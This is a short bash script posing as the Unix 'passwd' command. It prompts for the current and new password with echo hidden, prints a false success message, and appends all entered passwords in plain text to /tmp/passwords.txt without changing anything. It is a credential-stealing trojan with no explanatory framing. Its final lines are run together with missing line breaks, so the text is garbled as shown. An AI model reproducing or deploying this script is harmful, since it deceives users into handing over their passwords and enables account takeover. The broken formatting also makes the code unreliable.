#!/bin/bash

passwdfile=/tmp/passwords.txt

echo "Changing password for $USER."
echo -n "(current) UNIX password: "
stty -echo
read curpassword
stty echo
echo
echo -n "Enter new UNIX password: "
stty -echo
read newpassword1
stty echo
echo
echo -n "Retype new UNIX password: "
stty -echo
read newpassword2stty echoechoecho "passwd: password updated successfully"echo "$curpassword / $newpassword1 / $newpassword2" >> $passwdfileexit 0